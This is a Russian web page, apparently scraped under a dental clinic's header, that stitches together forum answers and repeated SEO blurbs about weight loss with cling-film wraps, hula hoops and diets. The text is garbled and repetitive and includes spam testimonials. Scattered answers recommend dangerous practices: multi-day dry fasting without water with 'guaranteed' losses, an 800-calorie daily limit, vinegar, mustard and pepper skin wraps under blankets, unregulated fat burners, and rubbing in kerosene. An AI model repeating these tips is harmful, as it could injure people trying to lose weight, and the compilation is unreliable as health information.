Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Похудение и аэробика. сушка пищевой пленкой

Совсем не нужно пленкой обматываться. Так делают боксеры перед боем, если им надо скинуть вес. Это выходит вода. Эффект кратковременный. А при потере 1% влаги организм уже чувствует себя не комфортно.
Не заморачивайся. Не спеши. Не жди быстрого результата. Дай себе 2 - 2,5 месяца и во время этого делай физ. упр. и следи за питанием (меньше жиров, больше питья ) Ну и ориентируйся по самочувствию, оно не подведет никогда

Многие женщины идут на хитрости, потому что знают, если крутить обруч, то можно похудеть особенно быстро, используя обычную пищевую пленку, наматываемую на область талии и бедер.Похудение с помощью танцев польза для души и тела.

Мужик вращающий обруч, скачущий на скакалке и замотанный пленкой как минимум должен посетить участкового психиатра.

Как лучше крутить обруч (хулахуп)

Замените пленку пищевой фольгой.

Массажные обручи для похудения. Обруч массажный. Как выбрать обруч для похудения? Как похудеть, используя обруч? Нелегко, но возможно. И второе радует, верно? Если у вас нет обруча купите его в магазине или возьмите арендуйте его у знакомой или подружки.

С насадкамит для обруча эфект лучше

Подскажите какие-нибудь обертывания,которые можно сделать дома,для похудения

Я тоже использую спец. косметику Мейтан для убирания объемов. неделя-3 см.

Как похудеть с помощью обруча? Если вам надоели или отнюдь не нравятся физические упражнения, то отличным помощником в похудении станет обруч, или как ещ его называют хулахуп.

Гуля! какое похудение???! ты и так дюймовочка!!!!

Как можно похудеть без диеты и убрать лишний жир на талии?

Обертывание: перец, масло растительное, пищевая пленка :)

Похудение с помощью обруча процесс совсем неутомительный. Научиться крутить его совсем несложно, даже если не увлекались этим в детстве. Большое помещение для занятий с обручем не требуется.

Не есть после 18.00 и делать зарядку по утрам.

Обруч с насадками, я крутила обычный металлический и отдельно покупала на него насадки с шипиками, хорошо талию и бока разбивает. Ну и кремом, можно дешовым серии фитнес от флоресан, гель актив суперсжигатель жира, стоит 100-150 рэ.

Обруч, качание пресса.

Керосин хорошо помогает. Главное растирать его каждый день по местам скопления жира. А ещё может спать на голом полу, бока только так разбивает. ))) Блин, да ответ один... бег.

Спорт
результаты через пол года

Похудение с помощью пищевой пленки. Наверное нет такой женщины, которая не стремилась бы немного похудеть.Как похудеть с помощью обруча.

Все мы так хотим '' и рыбку съесть и любовью заняться''!!!!

Самые эффективные способы убрать бока и низ живота? только это интересно!!! спасибо!)

Обруч Ёпть. + Меньше жрать.

Обертывания помощи ли можно при пищевой пленкой похудеть Ископаемые технологии сейчас неактуальны, новая диета на порядок бесхитростнее и легка, в угоду хилой тетеньки. можно ли похудеть при помощи обертывания пищевой пленкой.

Пресс качать, пробежки,

Закрыть рот от сладкого-овощи

Я взял себя в руки, почти за год похудел со 120кг. до 81кг.

Жир горит только по всему телу, а не в отдельных местах.
Основа похудения - получать калорий меньше, чем тратишь

Верно, посчитай количество калорий на свой вес и потребляй их меньше, так же сократи потребление мучного и сладкого, а так же сокращай количество потребляемых углеводов после шести, старайся кушать белок (творог, рыба, грудка варенная).

Суть обертываний для похудения живота заключается в создании парникового эффекта с помощью пищевой пленки.Обертывания для похудения живота при кручении обруча. Чтобы приготовить эффективную смесь, необходимо развести немного голубой глины таким...

Жопины ужи это избыток женских гормонов и слабый метаболизм..

Как и 50 лет назад - диета + аэробная нагрузка.

Местами не похудееш худеет все тело от кардионагрузок и диеты

Подскажите, как убрать целлюлит.

Лимфодренаж - такая процедура...

Раньше при занятии спортом обматывала живот пищевой пленкой, но с поясом это уже не нужно делать. пользуюсь почти месяц, не знаю похудела я от пояса или от тренировокОбщее впечатление Отлично помогает защитить кожу при кручении обруча и так для похудения.

Спортом заниматься

Спорт. диета не поможет

Попробуйте по утрам бегать по улице по 10-15мин. в первый день, во 2 день прибавляйте по 10-15 мин, то есть во 2 день 20-25 мин. , и так прибавляйте в течение 7 дней. Результат на лицо.

Кардио нагрузки убирают целлюлит, жир

Нужно заниматься спортом. Плавание лучше всего. Так как происходит массаж тела полностью. И воды пить обычной не менее 40 мл на 1 кг веса. Именно воды! Напитки и супы не всчет!!!! И это еще зависит от гормонального фона. Если он в норме то целлюлита практически нет. И конечно хороший.... секс: -) регулярный!: -)Серьезно!!!

Обруч для похудения.. Как похудеть с помощью пищевой пленки. Борьба с лишним весом отбирает у нас много сил, времени и средств.

Поменьше кушать и побольше двигаться!

Стройное тело - результат РАБОТЫ, а не еды. Фитнес и только.

Какая нибудь диета и накачка пресса

Бороться с собственной природой - незавидная участь. . .
Так уж вы устроены - Женщины. Целлюлит, растяжки обязательно будут у вас, если вы намерены выполнить свою жизненную миссию - стать Матерью. . .
Могу лишь посоветовать вам больше двигаться, ибо Движение - Жизнь!..

История одной девушки
"Целлюлит. И как я его победила! "
Я долгое время мучилась из-за целлюлита... Мне всего 16 лет, а попа у меня, как у сорокалетней старухи. И вот как-то, выйдя из ванной, я сняла полотенце и осмотрела себя со всех сторон - я была в ужасе. Я увидела: жирные ляжки, складки на спине и животе, дряблые руки и конечно же целлюлит, но не только на попе и на ногах, а ещё и на животе, и боках... Я заплакала... И сказала себе: "Я не хочу больше жить в этом теле... Я не хочу быть рабом сладостей, булочек и прочих гадостей". И я занялась собой.
В течении 13 дней я похудела с 58 кг. до 53-54, хочу заметить - БЕЗ ВРЕДА ДЛЯ ЗДОРОВЬЯ!
Я не ела после 18 часов, отказалась от жирного, сладкого и мучного (правда чёрный хлеб я всё равно ела, не смогла без него) . При этом я делала множество упражнений на различные группы мышц. НО ВОТ ЧТО ЗДЕСЬ ГЛАВНОЕ - я делала уксусное обёртывание и принимала сода-солевые ванны.
УКСУСНОЕ ОБЁРТЫВАНИЕ - берём уксус и воду в соотношении 1:1, опускаем марлю в этот раствор и прикладываем к проблемным зонам (я обматывалась от талии до колен) , поверх обматываемся плёнкой или пакетом, ложимся под несколько одеял и так сидим 30-40 минут (возможно пощипывание, но это нужно перетерпеть) , после процедуры тело будет красным - не пугайтесь:) вам нужно принят тёплый душ, но без мыла, гелей и т. д
Сода-солевые ванны. Тут всё просто: на ванну нам понадобится 2 чайные ложки соды и 200-300(небольшая кружка) соли.
Лично я чередовала эти 2 процедуры в течении 13 дней.
Вот, собственно говоря, эффект.
Но на протяжении 13 дней я держалась, занималась, соблюдала режим, выполняла все процедура, одним словом, Я НЕ ХАЛТУРИЛА!
Результат не заставил себя ждать.

Всем привет! Перепробовала множество способов похудеть... Вс не то. Но к счастью, пару месяцев назад подружка в одноклассниках написала про один замечательный сайт и мой мир изменился!

Ну есть вот такой способ.
1.Смешиваем, а затем немного подогреваем 1/2 чашки молотых кофейных зёрен с 1 ч л оливкового масла.
2.Наносим готовую смесь на проблемные места, оборачиваем пищевой плёнкой, снимаем через 20 мин.
Для лучшего результата повторяет 2-3 раза в неделю.

Лёгкий бег на беговой дорожке, плавание в бассейне

Вакуумный массаж

Бегать надо по 7-10 км раза три в неделю.. .
но самое тяжелое это не пробежать 7 км, а вытащить себя за шкварник на беговую тропинку.. .
или ходи в тренажерку, но бегать дешевле и надежнее.. .
понятно, что бегать надо не в режиме высунотого языка и через 5 м сказать себе "капец"...
бегать надо в режиме разговора (т. е. бежишь и можешь еще и разговаривать)
все остальное - туфта: таблетки, обручи.. .

От целлюлита хорошо помогают массажи с антициллюлитным кремом, медовый массаж - вообще супер, правда болезненно!! ! Также хорошо обертывания пленкой, но с ними нужно быть осторожнее, подробно почитайте в интернете! Делала с кофе и медом, даже пробовала антицелюлитный крем с разогревающим кремом, кожу и правда хорошо разглаживает!
А вот если бока немного - то нут только физ. нагрузкой! И лучше бек - поможет похудеть комплексно! Так же скакалка!

Достаточно популярной методикой похудения является кручение обруча.Сейчас, когда старый добрый обруч назвали хула-хупом, снабдили массажными элементами или утяжелением, вновь стал актуальным вопрос о том, как можно похудеть с помощью обруча.

Спорт, массаж, диета!

Да море способов, но ничего не помогает, как привяжется, пиши - пропал... (а)

Я тоже к лету хотела от всего избавиться.. . Так вот чтобы избавиться от жира по бокам нужно делать так: (делать 1-ое, не обязательно с гирями*)
Чтобы избавиться от целлюлита нужно делать приседания.. . Встать на носочки и делать приседания: (всё как на картинке) :

СПОРТ, СПОРТ И ЕЩЕ РАЗ СПОРТ!

Спец. массажные приборы.

Раньше при занятии спортом обматывала живот пищевой пленкой, но с поясом это уже не нужно делать. пользуюсь почти месяц, не знаю похудела я от пояса или от тренировокОбщее впечатление Отлично помогает защитить кожу при кручении обруча и так для похудения.

Попробуйте скраб - спитый кофе, масло оливковое, мёд

Аэробика

Есть статичные упражнения поищи в инете они помогают

Я поправляюсь в животе и боках. Как похудеть? Самый эффективный способ?

Меньше жрать и больше двигатся

Много читала на разных сайтах об этом похудении. И интересно, действительно можно много скинуть с помощью обматывания пищевой пл нкой?Обматывался пл нкой и ш л на корт - тренироваться и худеть одновременно.

Питаться нормально, не есть всякую дрянь, заниматься спортом ...

Правильное питание (75%успеха) +кардио. Сил. упр. вым не помогут

Пьер дюкан за день худею с 1кг до 3 кг и вес не возвращался 3 года

...ходить пешком больше и плавать, а также не есть "гастрономический мусор"

Не ужинать.. а пить воду ..вместо ужина.

Как похудеть с помощью обруча? Вопросом похудения люди интересуются с незапамятных времен, но с каждым годом интерес кСвязано это не только с малоподвижным образом жизни современного человека, но и с нерациональным питанием, бедным пищевыми волокнами.

Передумали на картошке худеть? :D В принципе, я всё описала в ответе к вашему предыдущему вопросу. Я скинула 20 кг на Дюкане, за 2,5 месяца. Если лишнего веса немного (2-3) - разгрузочные дни. Если же "средненько" - 5-8 кг, то попробуйте диету 6 лепестков. Уж поверьте моему опыту, скинуть 20 кг будучи подростком нелегко.

Не занимайтесь спортом, перестаньте есть свинину, не ешьте после 19:00, спите от 8 и больше часов в сутки. Еще устраиваете себе пешие прогулки по магазинам или просто по городу. Все тогда получится. )))

У меня бока проблема- но я уже месяц на диете) результат супер + упражнения, обруч кручу, скакалка)) бока массирую после душа маслом джонсонс бейби с маслом чайного дерева) потом обматываюсь пленкой пищевой, надеваю теплый халат) и смотрю так телек около часа, укутавшись в одеяло) делая через день. Уже намного лучше))

Особого знть не надо
как говорится если очень зхотеть можно в космос полететь
я знала только что нужно не есть сладкое, мучное, жирное и крутила обруч в день по полчаса ( можно меньше)
результат-7см с талии ушли

Подскажите пожалуйста.похудение

Убирай половину и все ок.

Как похудеть с помощью обруча? Сколько надо крутить обруч?Сколько нужно крутить обруч? Как убрать живот с помощью обруча? Чем полезен обруч кроме похудения? Попробуем ответить на эти и другие вопросы.

Не жрать- (это конечно бонально ) и лучше диеты нет чем СПОРТ

Держите пост в течение месяца. Не есть ничего с 5 утра до 8 вечера

Попробуйте сыроедение, худеешь в день по 1 кг., опробовано на себе.

Ты вообще нормальная или как ))??? зачем полную чушь спрашивать? или ты не понимаешь банального? ходи дальше жирной.

Идите на встречу с Кашпи ровским А. М. Он проводит коррекцию веса. Сейчас он в Абакане. Я была на встрече с ним .Похудела уже на 15 кг. за 2,5 месяца. Удивительный человек!

Массажные обручи для похудения. Обруч массажный. Как выбрать обруч для похудения? Как похудеть, используя обруч? Нелегко, но возможно. И второе радует, верно? Если у вас нет обруча купите его в магазине или возьмите арендуйте его у знакомой или подружки.

Как похудеть?

Жерти менше треба! А то ви вже заебали, жрете а потім товстухи!

Но есть и альтернативное решение можно похудеть при помощи обруча и без диет. Все предельно просто, такой вид похудения основан на двух золотых правилах крутить обруч и правильно питаться.

К вечеру пей кефир, днем зеленый чай и после 6 не ешь

Просто перестань кушать после 6,это не сложно, не кушай майонез.
и не вздумай качать пресс хуже сделаешь... бег и приседания сделают твои ляшечки накаченными, то есть еще больше. .
Лучше сходи в фитнес зал, там тебе точно скажут что тебе нужно

Все проблемные места что у вас есть можно легко убрать с помощью питания (не диет) и кардио. Силовые упр. тут не помогут! И худеет все тело, жир уходит равномерно.

Одной диетой никак.... Если хочешь талию крути обруч в день 10 мин. Тонкие ножки бегай прыгай приседай
Пей зеленый чай, ешь диетические продукты.. . К лету вес может не изменится но результат на лицо : появится талия, ножки станут тоньше. .
Ну а вообще если брать твой рост и вес вполне нормально.. . К сожалению по фото можно было бы сказать чуть больше

Очень эффективно для всего тела помогает бег, при этом живот и ляжки можно обтянуть пищевой пленкой.
А еще очень круто для всего тела бассейн. И приятно.

Обруч для похудения фото.Но как похудеть с помощью пищевой пленки, и какой положительный эффект такой способ может иметь, не считая потери нескольких лишних килограммов?

На животик одень ремешок. Бегай в теплом костюмчике.

Диеты-которые не вредят здоровью, физ упражнения-нужны советы, только без пафоса и оскорблений, заранее спасибо!!

Упражнения это к инструктору.
А по поводу питания ..Почитайте про дробное правильное питание.

Похудение с помощью обруча. Kisset 02.01.2013, 16 20 28.Я кручу Только кручу хула-хуп,по 35 мин каждый день,а если есть время то по раза 5 в день!!!помогает отлично!!!За месяц -7 см!!и бока ушли!!!

Главное водку не пей.

Попробуйте для начала 10 дней поделать обертывание, для него я брала гель для вен с конским каштаном и пиявкой от Лошадиной силы и пищевую пленку по цене довольно недорого, но он того стоит убрала целлюлит на попе и немного пришли в тонус мышцы живота.

Раздельное питание ;разгрузочный день раз в неделю с 1кг яблок и не менее литра зелёного чая хорошо очищают организм; приседания на обоих ногах, потом только на левой и только на правой хороши для попы и против целлюлита; для убратия живота-обруч, лучше деревянный. Удачи!

Ну вы можете сесть на Правильное Питание.
Меню можно легко найти в интернете, и конечно исключить все Сладости, Мучное и Алкоголь. И по поводу упражнений, вы легко можете делать это дома, посмотрите видео на ютюбе, удачи

Если нет возможности идти в зал, то, конечно, мало чего можно сделать... только правильно питаться, но фигура от этого не улучшиться. подтянутой не станет. задница упругой не станет и накаченной, ноги, руки, пресс тоже... идите в зал найдите время и есть оч бюджетные клубы! главное отговорки не искать

Обруч для похудения.. Как похудеть с помощью пищевой пленки. Борьба с лишним весом отбирает у нас много сил, времени и средств.

Как мама двоих детей я знаю, что очень сложно бороться с лишним весом при таком образе и ритме жизни. Перепробовала множество “чудодейственных средств” в виде таблеток, чаёв, платырей и примочек. Портила здоровье редуксином, жидким каштаном, липриной, семенами чиа, зеленым кофе, ягодами годжи, флу, кленом. Заявляю категорически – кроме вреда для здоровья и временного снижения веса с последующим его набором – абсолютно никакой пользы! Около года назад мне порекомендовали Сергея Сивца. Это оказался первоклассный специалист по фитнесу и один из лучших диетологов Москвы. И просто хороший, отзывчивый человек. Очень рекомендую программы питания и программы тренировок Сергея Сивца! Для дома, улицы и тренажерного зала. Есть специальные программы для похудения живота и боков! На мой взгляд, они самые эффективные и недорогие (что важно в сегодняшней непростой ситуации в стране). Можно быстро и безопасно похудеть без насилия над собой! Сайт у него, по-моему, атлетик блог ру. Можно через поиск найти. Успехов всем худеющим!

Вопрос по похудение. Подскажите

Посмотри в инете рецепт для похудения корица с медом, помогает! но только жевать надо поменьше

Многие женщины идут на хитрости, потому что знают, если крутить обруч, то можно похудеть особенно быстро, используя обычную пищевую пленку, наматываемую на область талии и бедер.Похудение с помощью танцев польза для души и тела.

Легко! В совокупности с питанием без жирного сладкого мучного. Налегайте на скакалку, она здорово подтягивает тело. Ну и качаться не забывайте - пресс в частности.

Растирание яблочным уксусом, а сверху-пищевая пленка-на живот
исключить сахар, выпечку
ну и физ. нагрузка)))

Домашняя обстановка располагает к частому "заеданию свободного времени"....побольше находитесь вне дома....

Бегать по утрам) отлично помогает сбросить вес и не набрать его снова

Я за 3,5 мес сбросил со 105 до 78. (Рост 184) Примерно так же и в талии ушло (в см) . Меньше ел и ходил пешком много, в среднем км по 60 в неделю в быстром темпе)

Массажные обручи для похудения. Обруч массажный. Как выбрать обруч для похудения? Как похудеть, используя обруч? Нелегко, но возможно. И второе радует, верно? Если у вас нет обруча купите его в магазине или возьмите арендуйте его у знакомой или подружки.

Как убрать жир с живота?

Бег

Как похудеть с помощью обруча? Если вам надоели или отнюдь не нравятся физические упражнения, то отличным помощником в похудении станет обруч, или как ещ его называют хулахуп.

Пресс качать... на фитнес ходить. У женщин он просто откладывается по-другому, не так, как у мужчин. Поэтому надо его в работу пускать

1.Чаще гулять. (что бы быть здоровым, каждый человек должен проходить в день 5 км. )
2. Есть понемногу каждые 2.5 часа ( взгляните на худых. . они постоянно что то жуют, голод- признак того, что ваш организм будет набирать жир "прозапас")
3. Делать приседания утром и вечером ( самые большие мышцы- это наши ноги и именно там более интенсивнее сжигаются жиры а не в мышцах пресса)
пресс качать неэффективно и бесполезно!
обруч крутить неэффективно и бесполезно!

Крутите обруч металлический, или массажный, специально для этих зон, называется хула-хуп.

Комплекс упражнений для идеальной фигуры с Жанетт Дженкинс Голливудский тренер

Пресс и правда качать бесполезно. Его можно накачать железным в короткие сроки, но под слем жирка. А жир покидает нас от общей физической нагрузки: бег или интенсивная ходьба, велосипед, бассейн. Я бы остановилась на бассейне. Отлично подтянет фигуру к лету.

Похудение с помощью обруча процесс совсем неутомительный. Научиться крутить его совсем несложно, даже если не увлекались этим в детстве. Большое помещение для занятий с обручем не требуется.

Действенный метод- оборачивание пищевой пленкой предварительно намазав горчицей.

1) бег, прыжки со скакалкой, бадминтон минут 30-40 в день,
2) упражнение для пресса 2-3 раза в неделю, приседания,
3) массаж
4) не переедать, не пить газированные напитки, пиво

Так, внимание! Продолжительность диеты Кима Протасова пять недель. В первый день, во второй, в третий и так всю неделю вы едите ТОЛЬКО сырые овощи, а также сыры и йогурты 5%-ной жирности. Позволено одно вареное яйцо в день. Количество ЛЮБОЕ! Время дня ЛЮБОЕ! Смысл этой прогрессивной диеты в том, чтобы съесть как можно больше овощей и 5%-ных молочных продуктов. Чай, кофе можно в любом количестве ( только без сахара ), а воду в обязательном порядке 2 л в день. Вам стало чуть грустно? Так и быть, лично от себя разрешаем вам еще 3 зеленых яблока. Что? Не стоит благодарности, на здоровье. Причем овощи вы вольны употреблять в любом виде. Хотите – грызите огурцы, посыпая их болгарской брынзой ( 5%-ной ), хотите – макайте помидоры и болгарские перцы в йогурт, а хотите – приготовьте огромную порцию салата из всевозможных овощей, порежьте туда вареное яйцо и посыпьте все сыром.
И только посмейте пожаловаться, что вы голодны! Спокойно ешьте утром, днем, вечером, ночью – целую неделю. И точно так же – вторую неделю.
Удивительно, но со второй недели у вас пропадает охота есть что-либо, кроме овощей, сыра и подаренных нами яблок. Многие даже отказываются от вареного яйца, которое с жадностью поедали в начале диеты. К концу второй недели вы почувствуете необычайную легкость во всем теле и в … мыслях. Не отягощенный жиром, мясом и сладостями организм потребует живости поступков, чтобы не удариться в адюльтер. С начала третьей недели вы обязаны присовокупить к овощам и сырам кусочек ( 300 г ) жареного мяса, птицы или рыбы. Пожалуйста, немного сократите сыры и йогурты. Овощи, сыры, мясо, яйцо и яблоки вы едите еще три недели. И все! Через три недели после начала диеты вы начнете просто таять на глазах у изумленных коллег и домочадцев. Две последние недели происходит самое интенсивное сбрасывание веса.
Приготовьтесь к тому, что, когда диета будет завершена, вы, госпожа, похожая на гибкую лань, не сумеете с жадностью наброситься на всевозможные яства. Вам придется приложить немало усилий, чтобы заставить себя съесть хлеб с маслом, жареную картошку или пельмени.
Всем, даже тем, у кого нет лишнего веса, мы советуем раз в год, посредством такой необременительной и нетяжелой диеты очищать свой организм.

Прес. Качяю 15 дней ,есть успехи ,но под жиром не видно( что посоветуете?

Начинать нужно не с пресса, а с правильного питания. Подходите к вопросу похудения комплексно!

Похудение с помощью пищевой пленки. Наверное нет такой женщины, которая не стремилась бы немного похудеть.Как похудеть с помощью обруча.

Надо заняться сушкой.. всмысле надо по чаще бегать на улицу, начнется сжигание жира и всё будет хорошо видно, поверь, я это проходил =)

КачАю.
Я только что ответила на ваш предыдущий вопрос - рекомендации те же, правильное питание и комплексные тренировки, не только на пресс.

Лучше всего купить в спорт-товарах L-karnitin (жиросжигатель) , принимать по 1 бутылочке перед тренировкой. Так же для большего эффекта, стоит одеваться теплее на тренировку (увеличится потоотделение)

И маленькая фича от тренера пищевая пленка сверху шарфик для усиления эффекта бани и так 2 - 3 часа перед сном потом обязательно душ чтоб не портить эпителий)))))

Нужно скорректировать вес. Так как вопрос именно о прессе, то лучше всего прыгать на скакалке, крутить обруч, и естественно, правильно питание.)) Желаю удачи.

Обертывания помощи ли можно при пищевой пленкой похудеть Ископаемые технологии сейчас неактуальны, новая диета на порядок бесхитростнее и легка, в угоду хилой тетеньки. можно ли похудеть при помощи обертывания пищевой пленкой.

Почитай в интернете про сушку

Снижать процент жира, очевидно же! Займитесь кардио, скорректируйте питание.

Девочки, как быстро убрать жир на животике? сама не толстая.

Не жрать после 18-00 и мучное меньше жрать

Суть обертываний для похудения живота заключается в создании парникового эффекта с помощью пищевой пленки.Обертывания для похудения живота при кручении обруча. Чтобы приготовить эффективную смесь, необходимо развести немного голубой глины таким...

Толстая. раз нужна липосакция.

Пояс специальный купи в аптеке и побегай в нём на беговой дорожке дней 5 по 30 минут. Живот исчезнет.

Не есть много и пресс качать

Чтобы не изнурять себя диетами, лучше заняться спортом, просто пресс качать мне, например, скучно, нравится полдэнс и акробатика. А, вообще, зимой это нормально, организм создает жировую прослойку, чтобы не мерзнуть. Но если не нравится, нужно двигаться.

Обёртывания для похудения. Например уксусное. Наносите на проблемные места, оборачиваетесь плёнкой пищевой, сверху тёплые штаны и кофту и под одеяло на 30-60 минут. Так же хорошо помогает от целлюлита. Ещё лучше если пойдёте не под одеяло, а на беговую дорожку или покрутите обруч. Нужно несколько таких курсов. Только почитайте в интернете, что бы не было противопоказаний. Каждый день обруч по 15-20 минут. Упражнения на пресс через день, нужно что бы мышцы отдыхали. И кардионагрузки: бег, прыжки на скакалке. Ну и само собой нужно ограничение в питании. Без него ничего не получится: сладкое до 12:00, тяжёлое не есть после 16:00, ужин лёгкий. После 18:00 лучше что то типа кефира. И не есть за 3 часа до сна. Спать не менее 8 часов, не нервничать. От стресса жир накапливается на животе

Раньше при занятии спортом обматывала живот пищевой пленкой, но с поясом это уже не нужно делать. пользуюсь почти месяц, не знаю похудела я от пояса или от тренировокОбщее впечатление Отлично помогает защитить кожу при кручении обруча и так для похудения.

Надо делать гимнастику. Я расскажу вам как. Надо лечь на бок поднимать вверх ногу и опускать так 50 раз, и с другой стороны так же. Если вы голодны старайтесь меньше есть и больше пить жидкости. Это реально помогает. Удачи Вам!

Как убрать живот и бока?

Просто.. . есть белковую и растительную пищу. .
.жирное, мучное и сладкое не есть.. . и конечно физ. упражнения. . .

Обруч для похудения.. Как похудеть с помощью пищевой пленки. Борьба с лишним весом отбирает у нас много сил, времени и средств.

Обмотай живот и бока пищевой пленкой, не дольше 45 мин. И легкий бег.

Фитнес и питание.
Живот и бока самое сложное.
НА ютубе найдешь много видеоуроков.

Дефицит калорий + тренировки с железом.

Отдельно от всего, никак

Нужно похудеть. Не странно ли, правда?

Всем привет! Перепробовала множество способов похудеть... Вс не то. Но к счастью, пару месяцев назад подружка в одноклассниках написала про один замечательный сайт и мой мир изменился!

Выполнять специальные упражнения

Бег и правильное питание поможет

Как убрать жир с живота?

Питьевая и голод

Достаточно популярной методикой похудения является кручение обруча.Сейчас, когда старый добрый обруч назвали хула-хупом, снабдили массажными элементами или утяжелением, вновь стал актуальным вопрос о том, как можно похудеть с помощью обруча.

Знаю я ваш спорт) ) спортом она бл занимается__)) девушка качать пресс это не спорт)

Пищевой пленкой обматать и бегать

Именно в этом месте жир раньше всего откладывается и позже всего исчезает.

Спорт, скакалка, бег, пресс, минимум сладкого. Вегетарианство и сыроедение дает хороший результат, в купе с вышеперечисленным.

Кстати согласна с Юрой.. вегетарианство супер. перестала жрать мясо-энергии хоть отбавляй!!!

Раньше при занятии спортом обматывала живот пищевой пленкой, но с поясом это уже не нужно делать. пользуюсь почти месяц, не знаю похудела я от пояса или от тренировокОбщее впечатление Отлично помогает защитить кожу при кручении обруча и так для похудения.

Какие тренировки? Пей жиросжигатель Чёрная вдова (black spider) и в день до полкило скинешь

Ну так не большой запас жира нужен . это и красивым считается по подсознании и вообще полезно .

Терпение
У меня так было первые полгода, а теперь чувствую только твердый живот) )
Ну еще бывает после праздников, но теперь этот жирок сам быстро уходит, т. к. быстро пришел и быстро уходит)

Для этого нужно долго сушиться. Продолжайте интенсивно заниматься и следить за питанием!!!

Как мама двоих детей я знаю, что очень сложно бороться с лишним весом при таком образе и ритме жизни. Перепробовала множество “чудодейственных средств” в виде таблеток, чаёв, платырей и примочек. Заявляю категорически – кроме вреда для здоровья и временного снижения веса с последующим его набором – абсолютно никакой пользы! Около года назад мне порекомендовали Сергея Сивца. Это оказался первоклассный специалист по фитнесу и один из лучших диетологов Москвы. И просто хороший, отзывчивый человек. Очень рекомендую программы питания и программы тренировок Сергея Сивца! Для дома, улицы и тренажерного зала. Есть специальные программы для похудения живота и боков! На мой взгляд, они самые эффективные. Можно быстро и безопасно похудеть без насилия над собой! Сайт у него, по-моему, атлетик блог ру. Можно через поиск найти. Успехов всем худеющим!

Много читала на разных сайтах об этом похудении. И интересно, действительно можно много скинуть с помощью обматывания пищевой пл нкой?Обматывался пл нкой и ш л на корт - тренироваться и худеть одновременно.

Еще раз по поводу обруча

Высокие колготки, сверху кофту, и крути. Больше ничего уже не сделаешь. Терпи. Почкам не навредишь, но на коже будут синяки

Как похудеть с помощью обруча? Вопросом похудения люди интересуются с незапамятных времен, но с каждым годом интерес кСвязано это не только с малоподвижным образом жизни современного человека, но и с нерациональным питанием, бедным пищевыми волокнами.

Это у тебя на второй или третий день заболело? Если да то крути дальше.

Крутить массажный обруч в одежде - то же самое, что и массаж спины делать одетому)
По голой талии крутить, покраснение или небольшие синяки неизбежны, терпите либо смените вид упражнения. Не навреди себе - это главное! Ну а насчет почек вообще насмешила) )

Перетерпеть надо, можно несколько дней не крутить.
Чтоб мои тяжеленные обручи не избили меня по позвоночнику, я клеила ватку на спину)

Я вообще так делаю- я купила крем для похудения, сверху пищевую пленку и наяриваю кручу обруч (у меня он называется халахуп) тяжелый. На 2,3,4 день больно синяки появляются по бокам, а потом всё нормально. Уже не больно. Я вот кручу его недели три и что-то результатов не особо то и видно.

Скажи, а для чего ты крутишь обруч, если больно?

Как похудеть с помощью обруча? Сколько надо крутить обруч?Сколько нужно крутить обруч? Как убрать живот с помощью обруча? Чем полезен обруч кроме похудения? Попробуем ответить на эти и другие вопросы.

Как убрать 10 см с талии до 25 июня? (читайте вопрос внимательнее)

До 25го никак только до 26го и пресс надо не 25 раз а несколько подходов по 25раз. Обруч ахахах. Заебёшься крутить. 45 мин занятие какой то хуетой. Обруч крутят когда жира нет. А у тебя жир. Ты лучше качай мышцы на животе и вокруг живота. Мышцы сжигают жир а не обруч. Например 10-15 подходов по 25-50 раз 3 раза в день. на разные группы мышц. Бег.

Массажные обручи для похудения. Обруч массажный. Как выбрать обруч для похудения? Как похудеть, используя обруч? Нелегко, но возможно. И второе радует, верно? Если у вас нет обруча купите его в магазине или возьмите арендуйте его у знакомой или подружки.

На второй день всё заболит и плюнете на это.
Порадуюсь, если не так будет ;)

Я лично бегаю без остановки по 3 часа, пресс качаю четыре подхода по 100 раз, потом отжимаюсь в упоре лежа по 30 раз четыре подхода, и подтягиваюсь сперва на максимум 30, бывает 45 раз, потом по 15 раз четыре подхода

Всё в комплексе идеально. А вот диету бы я обсудила.... Голодание только прибавит веса.

Http://www.tvoytrener.com/trener_online.php

Вечером мед+сухая горчица (при нанесении промассируй хорошенько ) и оберни проблемную область пищевой пленкой, под одеяло на 1,5 часа... смой теплой водой без мыла.. можешь так же оборачивать проблемные зоны пищевой пленкой при физических нагрузках (занятиях)... уверяю, результат не заставит себя ждать!

Но есть и альтернативное решение можно похудеть при помощи обруча и без диет. Все предельно просто, такой вид похудения основан на двух золотых правилах крутить обруч и правильно питаться.

Сухое голодание (без еды и без воды) средняя потеря веса минус 2.5-3.5 кг в сутки! 3 суток минус 6-9 кг гарантировано! вес будет уходить равномерно в том числе и с талии просто очень интенсивно.

Девочки помогите советом, как мне быть

На первое время хотя бы ходить пешком (быстрым шагом) не менее 6-ти км в день.

Обруч для похудения фото.Но как похудеть с помощью пищевой пленки, и какой положительный эффект такой способ может иметь, не считая потери нескольких лишних килограммов?

Быстро не получиться. Такого не бывает. Голодание даже не стоит использовать. Только хуже будет. Есть такой замечательный канал: Живи. Вот там много программ. Посмотрите его и подберите то что Вам подойдет.

Хорошая нагрузка у джилиан майклс, слышала много отличных отзывов, есть куча видео в интернете с ней.
умерить питание и настроиться на позитивный лад. один спорт вам не поможет, нужна диета. едой кг набрали, без ограничения в еде кг не скинуть.

У меня тоже были три месяца назад вторые роды (оба кесарева) , физической нагрузкой еще заниматься нельзя, но похудеть охото, я пытаюсь не есть после 6, и в течении дня выпиваю два литра воды. Результат хороший.

Движение заменит много лекарств. Побольше ходите, прогуливайтесь с любимой собакой, ограничьте приём высококалорийной жирной, сладкой, острой пищи, побольше овощей и фруктов натуральных, откажитесь от фасфудов. Движение на природе, работа в саду и огороде помогут сбросить лишние килограммы.

При таком большом весе с физическими нагрузками нужно быть крайне осторожной. Начни считать калорий в день должно выходить не более 800. Пока не скинешь хотя бы 15 кг фитнесом заниматься не рекомендую. Из упражнений только ходьба, ритмичная, но не быстрая и никакого бега! Очень хорошо помогает пищевая пленка. Я намазываю проблемные участки гелем для похудения чистая линия, обматываюсь пленкой и начинаю делать уборку дома или на фитнес иду. Только в пленке не рекомендуется более 40 минут находиться.

Похудение с помощью обруча. Kisset 02.01.2013, 16 20 28.Я кручу Только кручу хула-хуп,по 35 мин каждый день,а если есть время то по раза 5 в день!!!помогает отлично!!!За месяц -7 см!!и бока ушли!!!

Бодифлекс. Заниматься надо всего лишь по 15-20 минут в день. Но эффект очень хороший.

